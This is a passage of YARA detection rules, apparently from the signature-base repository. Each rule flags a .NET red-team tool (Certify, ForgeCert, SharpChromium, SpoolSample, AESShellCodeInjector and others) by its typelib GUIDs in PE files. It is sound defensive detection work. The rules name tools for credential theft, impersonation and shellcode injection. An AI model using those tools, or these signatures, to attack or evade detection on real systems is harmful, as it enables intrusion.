		id = "69f120fe-bd4d-59ba-b1b9-528ab300e450"
		date = "2023-03-06"
		modified = "2025-08-11"
		reference = "https://github.com/GhostPack/Certify"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4512-L4527"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "da585a8d4985082873cb86204d546d3f53668e034c61e42d247b11e92b5e8fc3"
		logic_hash = "cc31eb8f11f8c48d8c6d34c343c273ac085fdac214ffc7521d26b4a19edd0c4c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0_v1 = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide
		$typelibguid0_v2 = "15cfadd8-5f6c-424b-81dc-c028312d025f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Aladdin : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "3f0a954c-f3b3-5e5d-a71d-11f60b026a48"
		date = "2023-03-13"
		modified = "2025-08-15"
		reference = "https://github.com/nettitude/Aladdin"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4529-L4544"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e038ea5b2caed819df725e454ad31ba00b2b1b356875eecd73f2b8a0908c2e33"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
		$typelibguid1lo = "c47e4d64-cc7f-490e-8f09-055e009f33ba" ascii wide
		$typelibguid2lo = "32a91b0f-30cd-4c75-be79-ccbd6345de99" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpldaprelayscan : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "554a5487-ac53-512f-8f6f-ad8186144715"
		date = "2023-03-15"
		modified = "2025-08-15"
		reference = "https://github.com/klezVirus/SharpLdapRelayScan"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4546-L4559"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d0b9573ee9893225c5621d02f99f67296193d93a42390125611fe0560bc95fa9"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a93ee706-a71c-4cc1-bf37-f26c27825b68" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ldapsigncheck : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a8b902f0-61a5-509e-8307-79bf557e5f61"
		date = "2023-03-15"
		modified = "2025-08-15"
		reference = "https://github.com/cube0x0/LdapSignCheck"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4561-L4574"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ffeee319b4161611e3e792aaec2e74c8e368d69c7f5ba9738105f536590099e8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "21f398a9-bc35-4bd2-b906-866f21409744" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsccm : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "276269b1-e3b3-5774-a86a-1c3a8bca8209"
		date = "2023-03-15"
		modified = "2025-08-15"
		reference = "https://github.com/Mayyhem/SharpSCCM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4576-L4590"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a6650a1a2ad710b85363ea04d66f2467b835bc7bd1097404238f67e07cc3f719"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "03652836-898e-4a9f-b781-b7d86e750f60" ascii wide
		$typelibguid1lo = "e4d9ef39-0fce-4573-978b-abf8df6aec23" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Koh : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9702526c-b10d-553d-a803-47e352533858"
		date = "2023-03-18"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/Koh"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4592-L4605"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "dbb36a1a8f559d10152d14459509408b14f3dc52a685d81f3a3d5e936f5e2a66"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Forgecert : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "06b3ffbb-5a76-50a0-86dc-b9658bf2d7ec"
		date = "2023-03-18"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/ForgeCert"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4607-L4620"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4cb79315afc5aae2b35a1d171e8cff34304534a8970b51831568d34135e5c5e6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "bd346689-8ee6-40b3-858b-4ed94f08d40a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Crassus : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d4f94aa3-0431-5ac1-8718-0f0526c3714f"
		date = "2023-03-18"
		modified = "2025-08-15"
		reference = "https://github.com/vu-ls/Crassus"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4622-L4635"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c6442a8bd4737f0a874c388c74a632bea29c0c8b8c7cc132ad4f145d7a73446b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7e9729aa-4cf2-4d0a-8183-7fb7ce7a5b1a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Restrictedadmin : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1b3572a5-bb21-58bb-91f9-963a0a17d699"
		date = "2023-03-18"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/RestrictedAdmin"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4637-L4650"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "876d0a89429c3e504696a63056b154acacdfa44fddba23298c2432accb71dfd2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "79f11fc0-abff-4e1f-b07c-5d65653d8952" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_P2P : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid (p2p Remote Desktop is dual use but 100% flagged as malicious on VT)"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e7b2b4bd-f1e1-5062-9b36-5df44ae374ea"
		date = "2023-03-19"
		modified = "2025-08-15"
		reference = "https://github.com/miroslavpejic85/p2p"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4652-L4665"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5cdbf5555f4a0dbcbd206708e8678d69ed64f20f734425becd5809396fcfa4b4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "33456e72-f8e8-4384-88c4-700867df12e2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwsus : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f020eea9-4ff4-5242-b9b2-53284505dab4"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/nettitude/SharpWSUS"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4667-L4680"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e42a5341d03da8b7efedb6bb71b2d908881a7b0df9101e8ad56984a3372915fe"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "42cabb74-1199-40f1-9354-6294bba8d3a4" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpimpersonation : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5815c5bd-e3e8-5f2f-b03e-8a05fb4f6e91"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpImpersonation"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4682-L4695"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1fd989607bb22f903ad85905ae4fe9f84aa429f75cedd482a318d8cb6c37af19"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "27a85262-8c87-4147-a908-46728ab7fc73" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcloud : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "048b0239-ea13-58ff-af35-fd505b4c977a"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/chrismaddalena/SharpCloud"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4697-L4710"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b57f9577edcc15aef82f4fb7ceaf33bce73ae5e9d94b33152da49663a9a8f0c9"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ca4e257e-69c1-45c5-9375-ba7874371892" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpssdp : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8441e940-ab7c-5467-9db8-35f71bd57580"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/rvrsh3ll/SharpSSDP"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4712-L4725"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3bb849d481b4db321374e084c5bc83fef683fab5f70a429d79d72988f77d8403"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6e383de4-de89-4247-a41a-79db1dc03aaa" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Wiretap : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5513a295-8907-5a9c-adca-760b33004229"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/WireTap"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4727-L4740"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8dfe01e827fca5b6a2abb847b1615bf71c9d98ea7213b02aa94bb8691d085ac5"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b5067468-f656-450a-b29c-1c84cfe8dde5" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Kittylitter : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f457b91f-4adb-5be6-b9c2-f6cc39d4bdaf"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/KittyLitter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4742-L4757"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e0cfb39be4d51d2a929712e4f82851b9cafb46643e1403cd4ea8414624a0a2b6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "449cf269-4798-4268-9a0d-9a17a08869ba" ascii wide
		$typelibguid1lo = "e7a509a4-2d44-4e10-95bf-b86cb7767c2c" ascii wide
		$typelibguid2lo = "b2b8dd4f-eba6-42a1-a53d-9a00fe785d66" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpview : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2ae1bc26-c137-55ce-ae2e-3204ff07f671"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/tevora-threat/SharpView"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4759-L4772"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b87f7c5c4d72a5d9d0f493720388f4328dc519677cc8cc218c4f0f95cc970a1e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Farmer : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f69745b9-4ebd-547a-9af3-bc340b076e5d"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/mdsecactivebreach/Farmer"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4774-L4790"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3e8559dd84fdc698c47acdf19a3f28fe094c96a36d645422f69ad905df5b2263"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "37da2573-d9b5-4fc2-ae11-ccb6130cea9f" ascii wide
		$typelibguid1lo = "49acf861-1c10-49a1-bf26-139a3b3a9227" ascii wide
		$typelibguid2lo = "9a6c028f-423f-4c2c-8db3-b3499139b822" ascii wide
		$typelibguid3lo = "1c896837-e729-46a9-92b9-3bbe7ac2c90d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Aesshellcodeinjector : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "6253e30b-7c92-5237-a706-e93403a7c0b6"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/san3ncrypt3d/AESShellCodeInjector"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4792-L4805"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "38858c4e5f13eea32d47178a9221a35be92c9fbb408a542a712ce9b708591e42"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b016da9e-12a1-4f1d-91a1-d681ae54e92c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpchromium : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5364956a-e199-556a-8055-0e7b9a7b14c8"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/SharpChromium"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4807-L4820"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f675d60987e5791550dff9cccc00109a2e30971de12c7f4c77288cf34122f7f2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Get_RBCD_Threaded : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "fdef6dc3-da1a-5a98-a822-94e443981fdd"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/FatRodzianko/Get-RBCD-Threaded"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4822-L4835"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a3cb7097f5fd5a2e5eac5ace774ea4e7f845989ee953f5aa140b0e05f3d04380"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e20dc2ed-6455-4101-9d78-fccac1cb7a18" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Whisker : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ecb0c59f-2111-58d9-8dc9-dfe005cad3be"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/eladshamir/Whisker"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4837-L4850"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2d0e0436f83b5e4c4e2e7ef7237d5769a901f35b0462d5396bb5e398a72176dd"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "42750ac0-1bff-4f25-8c9d-9af144403bad" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Shadowspray : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "91dd52ef-07a1-5ffd-b5c3-59bca18d4c7c"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/Dec0ne/ShadowSpray"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4852-L4865"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d45c8c20a782dbcb80db5c990ce02f6227e40a8b6d9875b1158735c5a53d4771"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7e47d586-ddc6-4382-848c-5cf0798084e1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Malsccm : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4a88532b-e2bc-5ce9-828d-6ef62d91f6b9"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/nettitude/MalSCCM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4867-L4880"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "064835e594c8e28903e5e18aa63c8bda53e74ddb3b8eda813ac62c7677b4e3fc"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5439cecd-3bb3-4807-b33f-e4c299b71ca2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Spoolsample : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "38346575-cf5b-59bf-b2b2-21aacf05b8a4"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/leechristensen/SpoolSample"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4882-L4895"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8633b34f478b3d581f9403909d2ee20e7049d3ea02ecaf4fcb5dd61909681ba4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "640c36b4-f417-4d85-b031-83a9d23c140b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpoxidresolver : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e8a957bc-3319-51c2-8289-01bd0b8a632a"
		date = "2023-03-22"
		modified = "2025-08-15"
		reference = "https://github.com/S3cur3Th1sSh1t/SharpOxidResolver"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L4897-L4910"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "168d2d817fecdb9a457af26668f6e543556901151b025d322a4cfd63106cafed"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ce59f8ff-0ecf-41e9-a1fd-1776ca0b703d" ascii wide
	condition:
